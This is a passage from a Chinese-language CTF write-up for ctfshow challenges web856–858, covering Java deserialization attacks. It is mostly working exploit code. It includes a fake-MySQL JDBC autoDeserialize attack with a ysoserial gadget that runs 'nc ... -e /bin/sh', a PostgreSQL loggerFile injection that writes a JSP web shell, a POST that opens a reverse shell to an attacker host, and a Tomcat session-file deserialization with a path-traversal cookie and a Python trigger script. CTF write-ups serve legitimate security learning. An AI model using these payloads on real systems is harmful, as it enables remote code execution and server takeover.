"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"evo1":["CommonsCollections4","nc vps-shell-ip vps-shell-port -e /bin/sh"]
}
}

改一下server.py中的端口防止和本地的mysql端口冲突

f = start_mysql_server(handle_server, host=None, port=your-fake_mysql-port)

接下来就是构造exp了,这里要注意下mysql-connector-java的版本是5.1.39,用反射给Connection类赋值就行

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class web856 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
Connection connection = new Connection();
Class c = connection.getClass();
Field schema = c.getDeclaredField("schema");
schema.setAccessible(true);
schema.set(connection,"jdbc:mysql");
Field host = c.getDeclaredField("host");
host.setAccessible(true);
host.set(connection,"vps-ip");
Field port = c.getDeclaredField("port");
port.setAccessible(true);
port.set(connection,vps-port);
Field user = c.getDeclaredField("user");
user.setAccessible(true);
// 这里的username就是你在config.json中设置的值
user.set(connection,new User("evo1", "123456"));
Field database = c.getDeclaredField("database");
database.setAccessible(true);
database.set(connection,"detectCustomCollations=true&autoDeserialize=true");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(connection);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

开启nc监听和MySQL_Fake_Server,然后传输payload就拿到shell

web857

https://forum.butian.net/share/1339

可以看到多了个postgresql 42.3.1,参考上面的文章写个🐎进去

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class web857 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
Connection connection = new Connection();
Class c = connection.getClass();
Field driver = c.getDeclaredField("driver");
driver.setAccessible(true);
driver.set(connection,"org.postgresql.Driver");
Field schema = c.getDeclaredField("schema");
schema.setAccessible(true);
schema.set(connection,"jdbc:postgresql");
Field host = c.getDeclaredField("host");
host.setAccessible(true);
host.set(connection,"127.0.0.1");
Field port = c.getDeclaredField("port");
port.setAccessible(true);
port.set(connection,1234);
Field user = c.getDeclaredField("user");
user.setAccessible(true);
// 这里的username就是你在config.json中设置的值
user.set(connection,new User("evo1", "123456"));
Field database = c.getDeclaredField("database");
database.setAccessible(true);
database.set(connection,"password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/b.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"evo1\"));%>");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(connection);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

没回显,访问页面弹个shell出来

http://b8fe834b-fc46-4e5d-92d4-29fd5a383cbd.challenge.ctf.show/b.jsp
POST:
evo1=nc your-ip your-port -e /bin/sh

web858

https://blog.csdn.net/qq_40898302/article/details/124291764

题目提示tomcat的session反序列化,进去后看下User类,很明显的命令执行的地方

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.username);
}

现在只需要找个反序列化点,根据题目提示和前面列出的博客传个a.session过去,再带着JSESSIONID访问即可

package com.ctfshow.entity;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class web858 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
User user = new User();
Class c = user.getClass();
Field username = c.getDeclaredField("username");
username.setAccessible(true);
username.set(user,"cp /flag /usr/local/tomcat/webapps/ROOT/flag.txt");
serialize(user);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.session"));
oos.writeObject(obj);
}
}

生成文件后上传可以获得路径

/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a.session

写个脚本触发一下

import requests

url = 'http://9d725641-84bf-4927-ac30-f167eec758e9.challenge.ctf.show/'
cookies = {
"JSESSIONID":"../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a"
}
response = requests.get(url=url,cookies=cookies)
print(response.text)

访问即可

http://9d725641-84bf-4927-ac30-f167eec758e9.challenge.ctf.show/flag.txt